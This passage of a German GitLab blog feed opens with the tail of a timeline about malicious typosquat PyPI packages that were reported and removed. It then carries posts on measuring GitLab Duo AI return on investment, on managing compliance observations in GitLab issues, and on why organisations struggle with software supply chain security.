<h2>Zeitachse</h2>
<p>| Datum &amp; Uhrzeit      | Aktion                                                                                        |</p>
<p>| -------------------- | --------------------------------------------------------------------------------------------- |</p>
<p>| <strong>2025-08-06T06:33</strong> | Erste Analyse verdächtiger Pakete, die vom automatisierten Überwachungssystem gemeldet wurden |</p>
<p>| <strong>2025-08-06T09:42</strong> | <code>bittenso@9.9.5</code> an PyPi.org gemeldet                                                         |</p>
<p>| <strong>2025-08-06T09:46</strong> | <code>bitensor@9.9.5</code> an PyPi.org gemeldet                                                         |</p>
<p>| <strong>2025-08-06T09:47</strong> | <code>bitensor@9.9.4</code> an PyPi.org gemeldet                                                         |</p>
<p>| <strong>2025-08-06T09:49</strong> | <code>qbittensor@9.9.4</code> an PyPi.org gemeldet                                                       |</p>
<p>| <strong>2025-08-06T09:51</strong> | <code>bittenso-cli@9.9.4</code> an PyPi.org gemeldet                                                     |</p>
<p>| <strong>2025-08-06T15:26</strong> | PyPi.org entfernte <code>bittenso@9.9.5</code>                                                           |</p>
<p>| <strong>2025-08-06T15:27</strong> | PyPi.org entfernte <code>bitensor@9.9.5</code>                                                           |</p>
<p>| <strong>2025-08-06T15:27</strong> | PyPi.org entfernte <code>bitensor@9.9.4</code>                                                           |</p>
<p>| <strong>2025-08-06T15:28</strong> | PyPi.org entfernte <code>qbittensor@9.9.4</code>                                                         |</p>
<p>| <strong>2025-08-06T15:28</strong> | PyPi.org entfernte <code>bittenso-cli@9.9.4</code>                                                       |</p>
]]></content>
        <author>
            <name>Michael Henriksen</name>
            <uri>https://about.gitlab.com/blog/authors/michael-henriksen</uri>
        </author>
        <published>2025-08-06T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[AI-ROI skaliert messen: Ein praktischer Leitfaden zu GitLab Duo Analytics]]></title>
        <id>https://about.gitlab.com/de-de/blog/measuring-ai-roi-at-scale-a-practical-guide-to-gitlab-duo-analytics/</id>
        <link href="https://about.gitlab.com/de-de/blog/measuring-ai-roi-at-scale-a-practical-guide-to-gitlab-duo-analytics/"/>
        <updated>2025-08-06T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<h1>AI-ROI skaliert messen: Ein praktischer Leitfaden zu GitLab Duo Analytics</h1>
<p><em>Systematische Transformation von Rohdaten in fundierte Geschäftsentscheidungen und ROI-Berechnungen</em></p>
<hr>
<h2>Einführung</h2>
<p>Erfolgreiche KI-Investitionen erfordern systematische Messungen. Die Entwicklung einer KI-gestützten Entwicklungsplattform beginnt mit dem Verständnis der tatsächlichen Nutzung, Akzeptanzmuster und des nachweislichen Geschäftswerts – insbesondere des ROI von GitLab Duo Enterprise.</p>
<p>Um Kunden bei der Maximierung der KI-Investitionen zu unterstützen, wurde die GitLab Duo Analytics-Lösung als Teil des Duo Accelerator-Programms entwickelt. Diese systematische Lösung transformiert Rohdaten in fundierte Geschäftserkenntnisse und ROI-Berechnungen, ermöglicht Lizenzoptimierung und erstellt überzeugende Business Cases für erweiterte KI-Adoption.</p>
<hr>
<h2>Die Herausforderung: Systematische KI-ROI-Messung im Unternehmen</h2>
<p>Vor der Einführung systematischer KI-ROI-Messung ist es wichtig, die Messungsanforderungen methodisch zu verstehen.</p>
<h3>Praxisbeispiel: Finanzdienstleister</h3>
<p>Eine führende Finanzdienstleistungsorganisation arbeitete über das Duo Accelerator-Programm mit einem GitLab Customer Success Architect zusammen. Gemeinsam wurde eine systematische Analytics-Lösung implementiert, die monatliche Datenerfassung mit Echtzeit-Integration kombiniert – eine skalierbare Grundlage für die Messung von KI-Produktivitätsgewinnen.</p>
<h3>Systematische Messungsplanung</h3>
<p>Folgende Punkte sind typischerweise zu beachten:</p>
<ul>
<li>
<p><strong>Welche GitLab Duo-Funktionen müssen gemessen werden?</strong> (Code-Vorschläge, Chat-Unterstützung, Sicherheitsscan)</p>
</li>
<li>
<p><strong>Wer sind die KI-Nutzer?</strong> (Entwickler, Sicherheitsteams, DevOps-Engineers)</p>
</li>
<li>
<p><strong>Welche Geschäftsmetriken sind wichtig?</strong> (Zeiteinsparungen, Produktivitätsgewinne, Kostenoptimierung)</p>
</li>
<li>
<p><strong>Wie funktioniert die systematische Datenerfassung?</strong> (automatisierte Prozesse, API-Integration)</p>
</li>
</ul>
<p>Diese systematische Analyse ermöglicht die Definition von nachweislichem ROI-Messframework, Key Performance Indicators (KPIs), systematischer Datenerfassungsstrategie und Stakeholder-Berichtsanforderungen.</p>
<hr>
<h2>ROI-Messframework: Bewährte Methodik</h2>
<h3>Systematische Datenerfassung</h3>
<p><strong>Was das System leistet:</strong> Das System erfasst systematisch vier spezialisierte Datentypen für eine vollständige ROI-Analyse: Code-Vorschlag-Metriken, Nutzerengagement-Daten, Lizenznutzungs-Analyse und Chat-Produktivitätsmetriken.</p>
<p><strong>Wie die Umsetzung erfolgt:</strong> Die Implementierung nutzt GitLabs GraphQL APIs für parallele Datenextraktion aus spezialisierten Quellen, kategorisiert Nutzer nach Engagement-Levels (Power: 10+, Regular: 5-9, Light: 1-4) und kombiniert monatliche Batch-Verarbeitung mit Echtzeit-Integration für skalierbare Unternehmensarchitektur.</p>
<h3>Geschäftswert-Metriken</h3>
<p><strong>Was gemessen wird:</strong> Präzise Nutzer-Kategorisierung ermöglicht optimale Lizenzzuteilung basierend auf nachweislicher Nutzung. Systematischer Abgleich lizenzierter vs. aktiver Benutzer identifiziert automatisch ungenutzte Lizenzen für ROI-Optimierung.</p>
<p><strong>Wie die Analyse funktioniert:</strong> Automatisierte Datenqualitätsprüfung gewährleistet verlässliche Geschäftserkenntnisse durch kontinuierliche Validierung der Nutzungsmetriken und systematische Berechnung von Produktivitätssteigerungen.</p>
<p><em>Hinweis: Detaillierte technische Implementierungsschritte stehen Entwicklungsteams in der englischen Version dieses Leitfadens zur Verfügung.</em></p>
<hr>
<h2>Geschäftswert-Analyse: Systematische ROI-Visualisierung</h2>
<h3>Dashboard-Funktionalität</h3>
<p><strong>Was das System liefert:</strong> Systematische Visualisierung von vier Analysebereichen: Lizenznutzungs-Optimierung mit Identifikation ungenutzter Kapazitäten, Duo Chat-Analysen für strategische Planung, Code-Vorschlag-Leistung nach Programmiersprachen und Engagement-Kategorisierung für gezielte Trainingsmaßnahmen.</p>
<p><strong>Wie die Metriken berechnet werden:</strong> Das Dashboard generiert nachweislich präzise ROI-Berechnungen durch Zeitersparnis-Quantifizierung basierend auf Code-Vorschlag-Akzeptanz, systematische Nutzungsanalyse und datengestützte Lizenzstrategie-Entwicklung.</p>
<h3>Typische Geschäftsergebnisse</h3>
<blockquote>
<p><strong>Basierend auf tatsächlichen Dashboard-Daten zeigen Organisationen typischerweise:</strong></p>
</blockquote>
<blockquote></blockquote>
<blockquote>
<ul>
<li><strong>Lizenzoptimierung:</strong> 66.7% aktive Nutzer, <strong>33.3% ungenutzte Kapazität</strong> systematisch identifiziert</li>
</ul>
</blockquote>
<blockquote>
<ul>
<li><strong>Chat-Engagement:</strong> <strong>68.4% Adoption-Rate</strong> bei durchschnittlich <strong>8.3 Events pro Nutzer</strong></li>
</ul>
</blockquote>
<blockquote>
<ul>
<li><strong>Code-Vorschlag-Leistung:</strong> <strong>50.0% (Go) bis 80.0% (TypeScript)</strong> Akzeptanz je nach Programmiersprache</li>
</ul>
</blockquote>
<blockquote>
<ul>
<li><strong>Spitzenleistung:</strong> TypeScript mit <strong>80.0% Akzeptanzrate</strong> optimiert Entwicklerproduktivität</li>
</ul>
</blockquote>
<blockquote>
<ul>
<li><strong>90-Tage-Trends:</strong> <strong>2.847 Chat-Events</strong> von <strong>342 aktiven Nutzern</strong> für strategische Planung</li>
</ul>
</blockquote>
<blockquote>
<ul>
<li><strong>Nutzungsanalyse:</strong> Systematische Erfassung über <strong>5 Programmiersprachen</strong> mit durchschnittlich <strong>3.2 täglichen Sessions</strong></li>
</ul>
</blockquote>
<hr>
<h2>Skalierung und Automatisierung: Unternehmensweite Implementierung</h2>
<h3>Vollautomatisierte Datenerfassung</h3>
<p><strong>Was automatisiert wird:</strong> Vollautomatisierte monatliche Datenerfassung eliminiert manuelle Prozesse durch systematische Pipeline-Ausführung ohne manuellen Eingriff und Qualitätssicherung durch automatisierte Datenvalidierung.</p>
<p><strong>Wie die Integration erfolgt:</strong> Integration in bestehende DevOps-Workflows durch native GitLab-Pipelines nutzt vorhandene Infrastruktur für automatisierte Berichtsgenerierung und standardisierte Unternehmensbereitstellung.</p>
<h3>Automatisierungsstrategie</h3>
<pre><code class="language-yaml">
# Beispiel: Monatliche automatisierte ROI-Berichterstellung

duo_analytics_collection:
  stage: analytics
  script:
    - Automatisierte Datenerfassung aus vier Quellen
    - ROI-Metrik-Berechnung und Dashboard-Update
  schedule: &quot;Monatlich am 1. um 2 Uhr morgens&quot;
</code></pre>
<p>Die systematische Automatisierung transformiert manuelle Analytics-Prozesse in eine selbsterhaltende ROI-Messungs-Engine, die konsistent verwertbare Geschäftserkenntnisse liefert.</p>
<hr>
<h2>Strategische Vorteile: Warum GitLab für KI-ROI-Messung</h2>
<p>Die systematische DevSecOps-Architektur von GitLab bietet nachweislich die ideale Grundlage für Unternehmens-KI-Analysen. Mit nativen APIs, flexiblem Datenzugriff und integrierten KI-Funktionen können Organisationen die KI-Messung über den gesamten Entwicklungslebenszyklus zentralisieren.</p>
<p>Die methodische Architektur ermöglicht kundenspezifische Analytics-Lösungen mit API-First-Design für detaillierte Nutzungsdaten-Extraktion, Integration mit Unternehmenssystemen für umfassende ROI-Analyse und skalierbare Berichtsanforderungen für verschiedene Stakeholder-Ebenen.</p>
<p>Der systematische Ansatz stellt sicher, dass nachhaltige KI-Adoptionsstrategien aufgebaut werden. Die etablierten Messframeworks, KPIs und Datenerfassungsprozesse gehen nahtlos zu erweiterten nativen Funktionen über und stellen sicher, dass die Investition in KI-Messung mit GitLabs sich entwickelnder Lösung wächst.</p>
<hr>
<h2>Nächste Schritte: Systematische Implementierung</h2>
<p>Die KI-ROI-Messung ist der systematische Ausgangspunkt für datengestützte KI-Optimierung. Mit GitLab Duo können Organisationen eine Messungsgrundlage durch bewährte Analytics-Frameworks etablieren, ROI-Transparenz für fundierte Investitionsentscheidungen schaffen und Optimierungspotentiale basierend auf nachweislichen Nutzungsmustern identifizieren.</p>
<p>Die systematische Analytics-Lösung liefert die Sichtbarkeit und Erkenntnisse für datengestützte Entscheidungsfindung statt intuitionsbasierte KI-Strategie, optimierte Ressourcenzuteilung durch präzise Nutzungsanalyse und strategische Wettbewerbsvorteile durch systematische KI-ROI-Optimierung.</p>
<p><strong>Für die detaillierte technische Implementierung mit vollständigen Code-Beispielen, API-Konfigurationen und Schritt-für-Schritt-Anleitungen steht Ihren Entwicklungsteams die englische Version dieses Leitfadens zur Verfügung:</strong> <a href="https://about.gitlab.com/blog/measuring-ai-roi-at-scale-a-practical-guide-to-gitlab-duo-analytics/"></a><a href="Measuring%20AI%20ROI%20at%20scale:%20A%20practical%20guide%20to%20GitLab%20Duo%20Analytics">Measuring AI ROI at scale: A practical guide to GitLab Duo Analytics</a></p>
<p><a href="Measuring%20AI%20ROI%20at%20scale:%20A%20practical%20guide%20to%20GitLab%20Duo%20Analytics"></a></p>
<hr>
<p><strong>Die Zukunft der KI-gestützten Entwicklung ist datengesteuert und beginnt mit systematischen Messungen.</strong></p>
<blockquote>
<p>Systematische KI-ROI-Messung heute beginnen - mit einer <a href="https://about.gitlab.com/gitlab-duo/">kostenlosen Testversion von GitLab Ultimate mit Duo Enterprise</a>.</p>
</blockquote>
]]></content>
        <author>
            <name>Paul Meresanu</name>
            <uri>https://about.gitlab.com/blog/authors/paul-meresanu</uri>
        </author>
        <published>2025-08-06T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Wie du das Management von Compliance-Beobachtungen mit GitLab transformierst]]></title>
        <id>https://about.gitlab.com/de-de/blog/how-to-transform-compliance-observation-management-with-gitlab/</id>
        <link href="https://about.gitlab.com/de-de/blog/how-to-transform-compliance-observation-management-with-gitlab/"/>
        <updated>2025-07-24T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Eine Beobachtung ist ein Compliance-Befund oder eine Schwachstelle, die während der Kontrollüberwachung identifiziert wird. Im Wesentlichen handelt es sich um eine Lücke zwischen Soll und Ist deiner Sicherheitskontrollen. Beobachtungen entstehen aus drei Hauptquellen: Designmängel, bei denen die Kontrolle nicht ordnungsgemäß strukturiert ist. Probleme mit der Betriebseffektivität, bei denen die Kontrolle existiert, aber nicht wie vorgesehen funktioniert. Oder Beweislücken, bei denen erforderliche Dokumentation fehlt.</p>
<p>Diese Beobachtungen entstehen aus unserem vierteljährlichen Kontrollüberwachungsprozess. Dabei bewerten wir systematisch die Effektivität von Sicherheitskontrollen für unsere Zertifizierungen (SOC 2, ISO 27001 usw.). Zusätzlich können Beobachtungen aus externen Audits durch unabhängige Prüfer(innen) resultieren.</p>
<p>Beobachtungsmanagement ist der Prozess, mit dem wir diese Beobachtungen von der Identifizierung über die Behebung bis zum Abschluss verwalten. In diesem Artikel erfährst du, wie das GitLab-Sicherheitsteam die DevSecOps-Plattform nutzt, um Beobachtungen zu verwalten und zu beheben, und welche Effizienzsteigerungen wir dadurch erzielt haben.</p>
<h2>Der GitLab-Beobachtungslebenszyklus: Von der Identifizierung zur Lösung</h2>
<p>Der Lebenszyklus einer Beobachtung umfasst den gesamten Prozess von der ersten Identifizierung durch Compliance-Ingenieur(innen) bis zur abgeschlossenen Behebung durch Behebungsverantwortliche. Dieser Lebenszyklus ermöglicht transparente Echtzeit-Statusberichte, die für alle Beteiligten leichter zu verstehen und zu verfolgen sind.</p>
<p>Hier sind die Phasen des Beobachtungslebenszyklus:</p>
<p><strong>1. Identifizierung</strong></p>
<ul>
<li>Compliance-Ingenieur(innen) identifizieren potenzielle Beobachtungen während der vierteljährlichen Überwachung.</li>
<li>Eine erste Validierung erfolgt, um zu bestätigen, dass der Befund eine echte Kontrolllücke darstellt.</li>
<li>Die detaillierte Dokumentation beginnt sofort in einem GitLab-Issue.</li>
<li>Die Grundursache der Beobachtung wird ermittelt und ein Behebungsplan zur Behebung der Grundursache wird erstellt.</li>
</ul>
<p><strong>2. Validierung</strong></p>
<ul>
<li>Das Issue wird dem/der entsprechenden Behebungsverantwortlichen zugewiesen (normalerweise eine Teamleitung oder Abteilungsleiter(in)).</li>
<li>Der/die Behebungsverantwortliche überprüft und bestätigt, dass er/sie die Verantwortung versteht und akzeptiert.</li>
<li>Der Behebungsplan wird bei Bedarf gemeinsam überprüft, priorisiert und aktualisiert.</li>
</ul>
<p><strong>3. In Bearbeitung</strong></p>
<ul>
<li>Die aktive Behebungsarbeit beginnt mit klaren Meilensteinen und Fristen.</li>
<li>Regelmäßige Updates werden über GitLab-Kommentare und Statusänderungen bereitgestellt.</li>
<li>Die Zusammenarbeit erfolgt transparent, sodass alle Beteiligten den Fortschritt sehen können.</li>
</ul>
<p><strong>4. Behoben</strong></p>
<ul>
<li>Der/die Behebungsverantwortliche markiert die Arbeit als abgeschlossen und stellt Nachweise zur Verfügung.</li>
<li>Das Issue geht zur Compliance-Überprüfung zur Validierung über.</li>
</ul>
<p><strong>5. Lösung</strong></p>
<ul>
<li>Compliance-Ingenieur(innen) verifizieren, dass die Abschlusskriterien erfüllt sind.</li>
<li>Das Issue wird mit finaler Dokumentation geschlossen.</li>
<li>Erkenntnisse werden für zukünftige Prävention erfasst.</li>
</ul>
<p><strong>Alternative Pfade</strong> behandeln blockierte Arbeiten, Risikoakzeptanzentscheidungen und stagnierende Behebungsbemühungen mit entsprechenden Eskalations-Workflows.
<img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1753301753/pbvheikwpivuvhzd5ith.png" alt="Beispiel eines Beobachtungslebenszyklus"></p>
<p>&lt;center&gt;&lt;i&gt;Beispiel eines Beobachtungslebenszyklus&lt;/i&gt;&lt;/center&gt;</p>
<h2>Die Macht der Transparenz in GitLab</h2>
<p>Effektives Management von Compliance-Befunden sollte keine Detektivarbeit erfordern. Grundlegende Informationen wie Eigentümerschaft, Status oder Priorität sollten sofort ersichtlich sein. Dennoch erleben die meisten Organisationen folgendes Szenario: Compliance-Teams jagen Updates hinterher. Operative Teams kennen ihre Verantwortlichkeiten nicht. Die Führungsebene hat keine Sichtbarkeit auf tatsächliche Risiken – bis zur Audit-Saison.</p>
<p>Das Security-Compliance-Team bei GitLab stand vor genau diesen Problemen. Unser Team nutzte zunächst ein dediziertes GRC-Tool als zentrale Datenquelle für ausstehende Befunde. Doch wichtige Stakeholder hatten keine Sichtbarkeit. Das Ergebnis: Nur minimale Behebungen fanden statt. Das Team verbrachte seine Zeit mit administrativen Aufgaben, anstatt Behebungsbemühungen zu leiten.</p>
<p>Unsere Lösung: Wir verlagerten das Management direkt in GitLab-Issues innerhalb eines dedizierten Projekts. Dieser Ansatz verwandelt Compliance-Befunde in sichtbare, umsetzbare Arbeitselemente. Sie integrieren sich natürlich in Entwicklungs- und Betriebs-Workflows. Jeder Stakeholder kann sehen, was Aufmerksamkeit benötigt. Teams können bei Behebungsplänen zusammenarbeiten und den Fortschritt in Echtzeit verfolgen.</p>
<h3>Intelligente Organisation durch Labels und Issue Boards</h3>
<p>GitLab ermöglicht es Teams, Beobachtungs-Issues in mehrere Organisationsansichten zu kategorisieren. Das Security-Compliance-Team verwendet Folgendes zur Kategorisierung von Beobachtungen:</p>
<ul>
<li><strong>Workflow:</strong> <code>~workflow::identified</code>, <code>~workflow::validated</code>, <code>~workflow::in progress</code>, <code>~workflow::remediated</code></li>
<li><strong>Abteilung:</strong> <code>~dept::engineering</code>, <code>~dept::security</code>, <code>~dept::product</code></li>
<li><strong>Risikoschwere:</strong> <code>~risk::critical</code>, <code>~risk::high</code>, <code>~risk::medium</code>, <code>~risk::low</code></li>
<li><strong>System:</strong> <code>~system::gitlab</code>, <code>~system::gcp</code>, <code>~system::hr-systems</code></li>
<li><strong>Programm:</strong> <code>~program::soc2</code>, <code>~program::iso</code>, <code>~program::fedramp</code> , <code>~program::pci</code></li>
</ul>
<p>Diese Labels werden dann genutzt, um Issue Boards zu erstellen:</p>
<ul>
<li><strong>Workflow-Boards</strong> visualisieren die Phasen des Beobachtungslebenszyklus.</li>
<li><strong>Abteilungs-Boards</strong> zeigen die Behebungsarbeitslast jedes Teams.</li>
<li><strong>Risikobasierte Boards</strong> priorisieren kritische Befunde, die sofortige Aufmerksamkeit erfordern.</li>
<li><strong>System-Boards</strong> visualisieren Beobachtungen nach System.</li>
<li><strong>Programm-Boards</strong> verfolgen die zertifizierungsspezifische Beobachtungslösung.</li>
</ul>
<p>Labels ermöglichen leistungsstarke Filter- und Berichtsfunktionen und unterstützen gleichzeitig automatisierte Workflows durch unsere Triage-Bot-Richtlinien. Weitere Details zu unserer Automatisierungsstrategie findest du im Abschnitt Automatisierung.</p>
<h2>Automatisierung: Intelligenter arbeiten, nicht härter</h2>
<p>Die Verwaltung von Dutzenden von Befunden über mehrere Zertifizierungen hinweg erfordert intelligente Automatisierung. Das Security-Compliance-Team nutzt den Triage-Bot – ein Open-Source-Projekt, das in GitLab gehostet wird. Das Triage-Bot-Gem ermöglicht es Projektmanager(inne)n, Issues automatisch zu triagieren. Die Triagierung basiert auf definierten Richtlinien in GitLab-Projekten oder -Gruppen.</p>
<p>Innerhalb des Beobachtungsmanagement-Projekts haben wir Richtlinien geschrieben, um sicherzustellen, dass jedes Issue eine(n) Zugewiesene(n) hat, jedes Issue erforderliche Labels hat, Issues alle 30 Tage aktualisiert werden und blockierte und stagnierende Issues alle 90 Tage angestupst werden. Zusätzlich wird wöchentlich ein Zusammenfassungs-Issue erstellt, um alle Issues zusammenzufassen, die nicht unseren definierten Richtlinien entsprechen. Dies ermöglicht es Teammitgliedern, Issues effizient zu überwachen und weniger Zeit für administrative Aufgaben aufzuwenden.</p>
<h2>Erfolgsmessung: Schlüsselmetriken und Berichterstattung</h2>
<p>GitLabs Roh-Issue-Daten lassen sich in umsetzbare Erkenntnisse umwandeln. Organisationen können aussagekräftige Insights aus verschiedenen Datenquellen extrahieren: Issue-Erstellungsdatum, Abschlussdatum, letztes Update und Labels. Die folgenden Metriken bieten einen umfassenden Überblick über die Effektivität deines Compliance-Managements:</p>
<p><strong>Analyse der Lösungseffizienz:</strong> Durchschnittliche Zeit von der Identifizierung bis zur Lösung nach Abteilung und Schweregrad.</p>
<p>Verfolge Issue-Erstellungs- versus Abschlussdaten über Abteilungen und Schweregrade hinweg. Das identifiziert Engpässe und misst die Leistung gegen SLAs. So erkennst du, welche Teams bei schnellen Reaktionen hervorragend sind. Und welche zusätzliche Ressourcen oder Prozessverbesserungen benötigen.</p>
<p><strong>Echtzeit-Risikobewertung:</strong> Aktuelles Risikoprofil basierend auf offenen kritischen und hochriskanten Befunden.</p>
<p>Nutze Risikostufen-Labels für dynamische Visualisierungen der aktuellen Risikoexposition. Das bietet der Führungsebene sofortiges Verständnis: Welche kritischen Befunde erfordern dringend Aufmerksamkeit.</p>
<p><strong>Strategische Ressourcenzuweisung:</strong> Risikoverteilung auf Abteilungsebene für gezielte Verbesserungen.</p>
<p>Identifiziere, welche Abteilungen für Befunde mit dem höchsten Risiko verantwortlich sind. So priorisierst du Ressourcen, Aufsicht und Projekte richtig. Dieser datengesteuerte Ansatz fokussiert Verbesserungen dort, wo sie maximale Wirkung haben.</p>
<p><strong>Überwachung der Compliance-Bereitschaft:</strong> Zertifizierungsspezifische Beobachtungszahlen und Lösungsraten</p>
<p>Nutze Zertifizierungs-Labels, um die Audit-Bereitschaft zu bewerten und den Fortschritt bei Compliance-Zielen zu verfolgen. Diese Metrik bietet eine Frühwarnung vor potenziellen Zertifizierungsrisiken und validiert Behebungsbemühungen.</p>
<p><strong>Verantwortlichkeitsverfolgung:</strong> Überfällige Behebungen</p>
<p>Überwache die SLA-Einhaltung, um sicherzustellen, dass Beobachtungen rechtzeitig Aufmerksamkeit erhalten. Diese Metrik hebt systemische Verzögerungen hervor und ermöglicht proaktive Intervention, bevor kleine Probleme zu großen Problemen werden.</p>
<p><strong>Engagement-Gesundheitsprüfung:</strong> Beobachtungsaktualität</p>
<p>Verfolge die jüngste Aktivität (Updates innerhalb von 30 Tagen), um sicherzustellen, dass Beobachtungen aktiv verwaltet und nicht vergessen werden. Diese Metrik identifiziert stagnierende Issues, die möglicherweise eine Eskalation oder Neuzuweisung erfordern.</p>
<h2>Fortgeschrittene Strategien: Beobachtungsmanagement weiter vorantreiben</h2>
<p>Hier ist, was du tun kannst, um die Wirkung des Beobachtungsmanagements in deiner Organisation zu vertiefen.</p>
<p><strong>Integration mit Sicherheitstools</strong></p>
<p>Modernes Beobachtungsmanagement geht über manuelle Verfolgung hinaus, indem es sich mit deiner bestehenden Sicherheitsinfrastruktur verbindet. Organisationen können Schwachstellenscanner und Sicherheitsüberwachungstools konfigurieren, um automatisch Beobachtungs-Issues zu generieren, wodurch manuelle Dateneingabe eliminiert und umfassende Abdeckung sichergestellt wird.</p>
<p><strong>Prädiktive Analytik anwenden</strong></p>
<p>Modernes Compliance-Management geht über manuelle Verfolgung hinaus. Es verbindet sich mit deiner bestehenden Sicherheitsinfrastruktur. Organisationen können Schwachstellenscanner und Sicherheitsüberwachungstools konfigurieren. Diese generieren automatisch Issues für Compliance-Befunde. Das eliminiert manuelle Dateneingabe und stellt umfassende Abdeckung sicher..</p>
<p><strong>Anpassung für Stakeholder</strong></p>
<p>Effektives Beobachtungsmanagement erkennt an, dass verschiedene Rollen unterschiedliche Perspektiven auf dieselben Daten erfordern. Rollenbasierte Dashboards liefern maßgeschneiderte Ansichten für Führungskräfte, die hochrangige Risikozusammenfassungen suchen, Abteilungsleiter(innen), die die Teamleistung verfolgen, und einzelne Mitwirkende, die ihre zugewiesenen Beobachtungen verwalten. Automatisierte Berichtssysteme können konfiguriert werden, um verschiedenen Zielgruppenbedürfnissen und Kommunikationspräferenzen zu entsprechen, von detaillierten technischen Berichten bis zu Executive Briefings. Self-Service-Analysefähigkeiten befähigen Stakeholder, Ad-hoc-Analysen durchzuführen und benutzerdefinierte Erkenntnisse zu generieren, ohne technisches Fachwissen oder Support zu benötigen.</p>
<h2>Von bloßer Compliance zu operativer Exzellenz</h2>
<p>GitLabs Ansatz zum Compliance-Management stellt mehr als einen Toolwechsel dar. Es ist eine grundlegende Verschiebung: von reaktiver Compliance zu proaktiver Risikominderung. Das Aufbrechen von Silos zwischen Compliance-Teams und operativen Stakeholdern bringt beispiellose Transparenz. Gleichzeitig verbessern sich die Behebungsergebnisse dramatisch.</p>
<p>Die Ergebnisse sind messbar: Schnellere Lösungen durch transparente Verantwortlichkeit. Aktive Stakeholder-Zusammenarbeit statt widerwilliger Teilnahme. Kontinuierliche Audit-Bereitschaft statt periodischer Hektik. Automatisierte Workflows befreien Compliance-Fachleute für strategische Arbeit. Reichhaltige Daten ermöglichen prädiktive Analysen. Der Fokus verschiebt sich von reaktiver Brandbekämpfung zu proaktiver Prävention.</p>
<p>Am wichtigsten ist, dass dieser Ansatz Compliance von einer Last zu einem strategischen Befähiger erhebt. Wenn Beobachtungen zu sichtbaren, verfolgbaren Arbeitselementen werden, die in operative Workflows integriert sind, entwickeln Organisationen eine stärkere Sicherheitskultur und dauerhafte Verbesserungen, die über jeden einzelnen Audit-Zyklus hinausgehen. Das Ergebnis ist nicht nur regulatorische Compliance. Es ist organisatorische Resilienz und Wettbewerbsvorteil durch überlegenes Risikomanagement.</p>
<blockquote>
<p>Möchtest du mehr über GitLabs Sicherheits-Compliance-Praktiken erfahren? Schau dir unser <a href="https://handbook.gitlab.com/handbook/security/security-assurance/security-compliance/">Security Compliance Handbook</a> für weitere Einblicke und Implementierungsanleitungen an.</p>
</blockquote>
]]></content>
        <author>
            <name>Madeline Lake</name>
            <uri>https://about.gitlab.com/blog/authors/madeline-lake</uri>
        </author>
        <published>2025-07-24T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Warum Organisationen bei der Software Supply Chain Security kämpfen]]></title>
        <id>https://about.gitlab.com/de-de/blog/software-supply-chain-security-guide-why-organizations-struggle/</id>
        <link href="https://about.gitlab.com/de-de/blog/software-supply-chain-security-guide-why-organizations-struggle/"/>
        <updated>2025-07-24T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Wenn du die meisten Entwicklungsteams nach Supply Chain Security fragst, konzentrieren sich ihre Antworten auf Schwachstellenscans oder Abhängigkeitsmanagement. Diese Bereiche sind zwar wichtige Komponenten, stellen aber eine gefährlich eingeschränkte Sichtweise auf eine viel komplexere Herausforderung dar.</p>
<p><strong>Software-Supply-Chain-Sicherheit beschränkt sich nicht nur auf das Scannen von Abhängigkeiten.</strong> Sie umfasst den gesamten Prozess von der Code-Entwicklung bis zur Produktionsbereitstellung, einschließlich:</p>
<ul>
<li><strong>Quellsicherheit:</strong> Schutz von Code-Repositorys, Verwaltung von Mitwirkenden-Zugriff, Sicherstellung der Code-Integrität</li>
<li><strong>Build-Sicherheit:</strong> Sichere Build-Umgebungen, Verhinderung von Manipulationen während der Kompilierung und Paketierung</li>
<li><strong>Artefakt-Sicherheit:</strong> Sicherstellung der Integrität von Containern, Paketen und Bereitstellungsartefakten</li>
<li><strong>Bereitstellungssicherheit:</strong> Sicherung der Liefermechanismen und Laufzeitumgebungen</li>
<li><strong>Tool-Sicherheit:</strong> Härtung der Entwicklungstools und Plattformen selbst</li>
</ul>
<p>Die &quot;Kette&quot; in Supply Chain Security bezieht sich auf diese miteinander verbundene Reihe von Schritten. Eine Schwachstelle an irgendeiner Stelle in der Kette kann den gesamten Software-Lieferprozess kompromittieren.</p>
<p>Der <a href="https://www.cisa.gov/news-events/news/joint-statement-federal-bureau-investigation-fbi-cybersecurity-and-infrastructure-security">SolarWinds-Angriff von 2020</a> veranschaulicht dies perfekt. In einem der größten Supply-Chain-Angriffe der Geschichte kompromittierten staatlich geförderte Angreifer die Build-Pipeline von SolarWinds' Orion-Netzwerkverwaltungssoftware. Anstatt eine anfällige Abhängigkeit auszunutzen oder die fertige Anwendung zu hacken, injizierten sie bösartigen Code während des Kompilierungsprozesses selbst.</p>
<p>Das Ergebnis war verheerend: Mehr als 18.000 Organisationen, einschließlich mehrerer US-Regierungsbehörden, installierten unwissentlich Software mit Hintertüren durch normale Updates. Der Quellcode war sauber, die fertige Anwendung erschien legitim. Doch der Build-Prozess war kompromittiert worden. Dieser Angriff blieb monatelang unentdeckt und zeigte, wie Supply-Chain-Schwachstellen traditionelle Sicherheitsmaßnahmen umgehen können.</p>
<h3>Häufige Missverständnisse, die Organisationen verwundbar machen</h3>
<p>Trotz des wachsenden Bewusstseins für Supply-Chain-Bedrohungen bleiben viele Organisationen anfällig, weil sie grundlegenden Missverständnissen über Software-Supply-Chain-Sicherheit unterliegen. Diese Missverständnisse schaffen gefährliche Sicherheitslücken:</p>
<ul>
<li>Denken, dass Software Supply Chain Security gleich Abhängigkeitsscanning ist</li>
<li>Sich nur auf Open-Source-Komponenten konzentrieren und proprietäre Code-Risiken ignorieren</li>
<li>Glauben, dass Code-Signierung allein ausreichenden Schutz bietet</li>
<li>Annehmen, dass sichere Codierungspraktiken Supply-Chain-Risiken eliminieren</li>
<li>Es als Problem des Sicherheitsteams behandeln statt als Herausforderung des Entwicklungsworkflows</li>
</ul>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1753200077/kqndvlxyvncshdiq0xea.png" alt="Software Supply Chain Security Abhängigkeitsdiagramm"></p>
<h2>Wie KI das Spiel verändert</h2>
<p>Während Organisationen noch mit traditionellen Herausforderungen der Software-Supply-Chain-Sicherheit kämpfen, führt künstliche Intelligenz (KI) völlig neue Angriffsvektoren ein und verstärkt bestehende auf beispiellose Weise.</p>
